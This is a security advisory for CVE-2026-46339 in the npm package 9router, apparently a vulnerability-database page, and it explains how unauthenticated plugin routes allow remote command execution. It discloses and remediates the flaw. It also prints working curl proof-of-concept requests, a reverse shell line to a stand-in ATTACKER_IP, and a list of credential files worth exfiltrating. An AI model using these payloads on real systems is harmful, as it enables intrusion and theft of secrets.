GHSA-FHH6-4QXV-RPQJ

Vulnerability from github – Published: 2026-05-19 19:22 – Updated: 2026-05-19 19:22
VLAI
Summary
9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes
Details

Summary

9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.

The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.


Root Cause

1. Middleware Allowlist Is Too Narrow

File: src/proxy.js

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
  ],
};

Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.

2. Unguarded Endpoint Accepts Arbitrary Command Registration

File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319

export async function POST(request) {
  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
  // ...
  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];

  if (customPluginsArray.length > 0) {
    const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
    const stdioCustoms = customPluginsArray
      .filter((p) => p.command)
      .map((p) => ({
        name: p.name,
        command: p.command,   // ← attacker-controlled, no validation
        args: p.args || [],   // ← attacker-controlled, no validation
      }));
    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis
  }
}

The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.

File: src/lib/mcp/stdioSseBridge.js, lines 114–116

function registerCustomPlugin(def) {
  getCustomStore().set(def.name, def);   // no validation of command/args
}

3. Unguarded SSE Endpoint Triggers spawn() with Stored Command

File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25

export async function GET(request, { params }) {
  const { plugin } = await params;
  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });

  const stream = new ReadableStream({
    start(controller) {
      sid = registerSession(plugin, send);   // ← spawn() called here
    },
  });
  return new Response(stream, { ... });
}

File: src/lib/mcp/stdioSseBridge.js, line 138

const proc = spawn(plugin.command, plugin.args, {
  stdio: ["pipe", "pipe", "pipe"],
  env: process.env,   // inherits full environment
});

spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.


Attack Chain

Attacker (no credentials)
    │
    │  Step 1 — Register malicious plugin (POST, no auth)
    ▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json

{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
  }]
}

    ← {"success":true, ...}

    │  Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
    ▼
GET /api/mcp/rev/sse

    ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
    ← Reverse shell connects to attacker

Time to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).


Proof of Concept

PoC 1 — File Write (no listener required)

# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}

# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1

# Verify
cat /tmp/pwned.txt

Observed output (on local test instance):

uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux

PoC 2 — Automated PoC script

# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file

# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444

The script (poc.py) is included in this advisory.


Impact

Category Detail
Confidentiality Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials
Integrity Arbitrary file write, persistence via cron/systemd
Availability Process termination, resource exhaustion
Lateral movement docker group membership (confirmed in test) allows full container escape → host root
Scope Remote, unauthenticated, network-accessible

High-value exfiltration targets on a typical 9router host

  • ~/.claude/settings.json — ANTHROPIC_AUTH_TOKEN
  • ~/.aws/credentials, ~/.aws/sso/cache/*.json — AWS keys
  • $DATA_DIR/db.sqlite — 9router local database (all stored API keys, provider configs)
  • TLS private keys managed by the MITM proxy (src/mitm/)

Affected Versions

Version Affected Notes
< v0.4.30 No cowork-settings and MCP SSE bridge did not exist
v0.4.30 Yes Introduced in commit 8f4d29c (2026-05-11)
v0.4.31 Yes
v0.4.32 Yes
v0.4.33 Yes Latest at time of disclosure

The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.


Remediation

Fix 1 — Extend middleware matcher (minimal fix)

File: src/proxy.js

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    // ADD these:
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)

File: src/lib/mcp/stdioSseBridge.js

const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);

function registerCustomPlugin(def) {
  const bin = def.command?.split("/").pop();   // basename only
  if (!ALLOWED_MCP_COMMANDS.has(bin)) {
    throw new Error(`Blocked: command '${def.command}' not in allowlist`);
  }
  getCustomStore().set(def.name, def);
}

Fix 3 — Sanitize customPlugins at the API boundary

File: src/app/api/cli-tools/cowork-settings/route.js, line 312

const stdioCustoms = customPluginsArray
  .filter((p) => p.command && typeof p.command === "string")
  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check
  .map((p) => ({
    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""),           // sanitize name
    command: p.command,
    args: (p.args || []).map(String),
  }));

All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.30"
            },
            {
              "fixed": "0.4.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:22:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process \u2014 with **zero prerequisites** and **no credentials required**.\n\nThe vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**.\n\n---\n\n## Root Cause\n\n### 1. Middleware Allowlist Is Too Narrow\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n  ],\n};\n```\n\nNext.js middleware only runs on routes matching this list. Routes NOT listed \u2014 including `/api/cli-tools/*` and `/api/mcp/*` \u2014 bypass the `dashboardGuard` auth check entirely.\n\n### 2. Unguarded Endpoint Accepts Arbitrary Command Registration\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292\u2013319\n\n```js\nexport async function POST(request) {\n  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();\n  // ...\n  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];\n\n  if (customPluginsArray.length \u003e 0) {\n    const { registerCustomPlugin } = require(\"@/lib/mcp/stdioSseBridge\");\n    const stdioCustoms = customPluginsArray\n      .filter((p) =\u003e p.command)\n      .map((p) =\u003e ({\n        name: p.name,\n        command: p.command,   // \u2190 attacker-controlled, no validation\n        args: p.args || [],   // \u2190 attacker-controlled, no validation\n      }));\n    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis\n  }\n}\n```\n\nThe `command` and `args` fields from the attacker\u0027s JSON are stored verbatim into `globalThis.__9routerCustomPlugins` \u2014 a process-global Map that survives Hot Module Replacement.\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, lines 114\u2013116\n\n```js\nfunction registerCustomPlugin(def) {\n  getCustomStore().set(def.name, def);   // no validation of command/args\n}\n```\n\n### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command\n\n**File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6\u201325\n\n```js\nexport async function GET(request, { params }) {\n  const { plugin } = await params;\n  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });\n\n  const stream = new ReadableStream({\n    start(controller) {\n      sid = registerSession(plugin, send);   // \u2190 spawn() called here\n    },\n  });\n  return new Response(stream, { ... });\n}\n```\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, line 138\n\n```js\nconst proc = spawn(plugin.command, plugin.args, {\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  env: process.env,   // inherits full environment\n});\n```\n\n`spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution.\n\n---\n\n## Attack Chain\n\n```\nAttacker (no credentials)\n    \u2502\n    \u2502  Step 1 \u2014 Register malicious plugin (POST, no auth)\n    \u25bc\nPOST /api/cli-tools/cowork-settings\nContent-Type: application/json\n\n{\n  \"baseUrl\": \"x\", \"apiKey\": \"x\", \"models\": [\"x\"],\n  \"customPlugins\": [{\n    \"name\":    \"rev\",\n    \"command\": \"/bin/bash\",\n    \"args\":    [\"-c\", \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/4444 0\u003e\u00261\"]\n  }]\n}\n\n    \u2190 {\"success\":true, ...}\n\n    \u2502  Step 2 \u2014 Trigger spawn() via SSE endpoint (GET, no auth)\n    \u25bc\nGET /api/mcp/rev/sse\n\n    \u2190 SSE stream opens \u2192 spawn(\"/bin/bash\", [\"-c\", \"bash -i \u003e\u0026 /dev/tcp/...\"])\n    \u2190 Reverse shell connects to attacker\n```\n\n**Time to exploit from first request:** \u003c 2 seconds.  \n**Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`).\n\n---\n\n## Proof of Concept\n\n### PoC 1 \u2014 File Write (no listener required)\n\n```bash\n# Step 1: Register payload\ncurl -X POST \"http://TARGET:20128/api/cli-tools/cowork-settings\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\n    \"customPlugins\":[{\n      \"name\":\"rce1\",\n      \"command\":\"/bin/sh\",\n      \"args\":[\"-c\",\"{ id; whoami; hostname; uname -a; } \u003e /tmp/pwned.txt\"]\n    }]\n  }\u0027\n# \u2192 {\"success\":true,...}\n\n# Step 2: Trigger\ncurl -N --max-time 3 \"http://TARGET:20128/api/mcp/rce1/sse\" \u003e/dev/null 2\u003e\u00261\n\n# Verify\ncat /tmp/pwned.txt\n```\n\n**Observed output (on local test instance):**\n```\nuid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)\nsondt23\nVSOC-sondt23-L\nLinux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux\n```\n\n### PoC 2 \u2014 Automated PoC script\n\n```bash\n# File write mode (for report)\npython3 poc.py --target http://TARGET:20128 --mode file\n\n# Reverse shell mode (interactive)\npython3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444\n```\n\nThe script (`poc.py`) is included in this advisory.\n\n---\n\n## Impact\n\n| Category | Detail |\n|---|---|\n| **Confidentiality** | Full read access to server filesystem \u2014 API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials |\n| **Integrity** | Arbitrary file write, persistence via cron/systemd |\n| **Availability** | Process termination, resource exhaustion |\n| **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape \u2192 host root |\n| **Scope** | Remote, unauthenticated, network-accessible |\n\n### High-value exfiltration targets on a typical 9router host\n\n- `~/.claude/settings.json` \u2014 `ANTHROPIC_AUTH_TOKEN`\n- `~/.aws/credentials`, `~/.aws/sso/cache/*.json` \u2014 AWS keys\n- `$DATA_DIR/db.sqlite` \u2014 9router local database (all stored API keys, provider configs)\n- TLS private keys managed by the MITM proxy (`src/mitm/`)\n\n---\n\n## Affected Versions\n\n| Version | Affected | Notes |\n|---|---|---|\n| \u003c v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist |\n| v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) |\n| v0.4.31 | **Yes** | |\n| v0.4.32 | **Yes** | |\n| v0.4.33 | **Yes** | Latest at time of disclosure |\n\nThe vulnerability was introduced when the MCP stdio\u2192SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Extend middleware matcher (minimal fix)\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    // ADD these:\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\n### Fix 2 \u2014 Validate `command` in `registerCustomPlugin` (defense-in-depth)\n\n**File:** `src/lib/mcp/stdioSseBridge.js`\n\n```js\nconst ALLOWED_MCP_COMMANDS = new Set([\"npx\", \"node\", \"uvx\", \"python3\", \"python\"]);\n\nfunction registerCustomPlugin(def) {\n  const bin = def.command?.split(\"/\").pop();   // basename only\n  if (!ALLOWED_MCP_COMMANDS.has(bin)) {\n    throw new Error(`Blocked: command \u0027${def.command}\u0027 not in allowlist`);\n  }\n  getCustomStore().set(def.name, def);\n}\n```\n\n### Fix 3 \u2014 Sanitize `customPlugins` at the API boundary\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312\n\n```js\nconst stdioCustoms = customPluginsArray\n  .filter((p) =\u003e p.command \u0026\u0026 typeof p.command === \"string\")\n  .filter((p) =\u003e ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check\n  .map((p) =\u003e ({\n    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, \"\"),           // sanitize name\n    command: p.command,\n    args: (p.args || []).map(String),\n  }));\n```\n\n**All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.\n\n---",
  "id": "GHSA-fhh6-4qxv-rpqj",
  "modified": "2026-05-19T19:22:05Z",
  "published": "2026-05-19T19:22:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.